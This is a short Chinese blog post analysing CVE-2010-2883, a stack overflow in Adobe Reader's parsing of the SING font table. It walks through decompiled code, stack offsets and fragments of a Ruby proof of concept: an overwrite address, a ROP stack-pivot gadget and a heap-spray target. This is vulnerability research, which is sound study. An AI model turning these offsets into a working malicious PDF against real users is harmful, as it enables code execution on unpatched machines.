Exploit StackOverFlow 2017/03/09
CVE-2010-2883分析

刚接触EXP,欢迎指正错误。

1. 相关信息

受影响软件:Adobe Reader 8.2.4 - 9.3.4

相关资源:

生成POC脚本(修改已不再依赖Metasploit): adobe_cooltype_sing.rb

所需TTF文件: cve-2010-2883.ttf

漏洞成因: strcat导致栈覆盖this指针,控制虚函数表

2. POC分析

造成栈溢出问题出在strcat调用,位于0x806CD76

sub_8021ABE(&TableEntry, a1, "SING");
v6 = TableEntry;
LOBYTE(v24) = 2;
if ( TableEntry )
{
  if ( !(*&TableEntry->tableVersionMajor & 0xFFFF) || (*&TableEntry->tableVersionMajor & 0xFFFF) == 256 )
  {
    uniqueName = 0;
    strcat(&uniqueName, TableEntry->uniqueName);
    sub_8001243(a2, &uniqueName);
    v6 = TableEntry;
  }
  v23 = 1;
}

可以看到在解析SING表,后经过一些条件就会执行到strcat。由于除了ATL.DLL其他模块均开启了SAFESEH,而ATL.DLL中我没找到好用的gadget,所以利用SEH控制程序很难?(我的猜测)

sub_8001243会对我们覆盖的栈中一个地址addr+0x1c进行读写,此时

uniqueName   = 12e4d8
a2 = 12e608  = uniqueName + 0x130 = sing + 0x140

对应POC代码

# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')

随后调用

sub_8016B96 -> sub_801BAD9 -> call dword ptr [eax]

此时 eax = 12e6e0 = sing + 0x240

对应POC

# This becomes our new EIP (puts esp to stack buffer)
ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
sing[0x208, 4] = [ret].pack('V')

剩下的构造SING表POC就很好理解了,其中设置ESP指向0x0c0c0c0c(PDF中JS负责完成堆喷)

比较好奇的是POC中这段代码,在我测试中没发现有什么用处??

# Without the following, sub_801ba57 returns 0.
sing[0x24c, 4] = [0x6c].pack('V')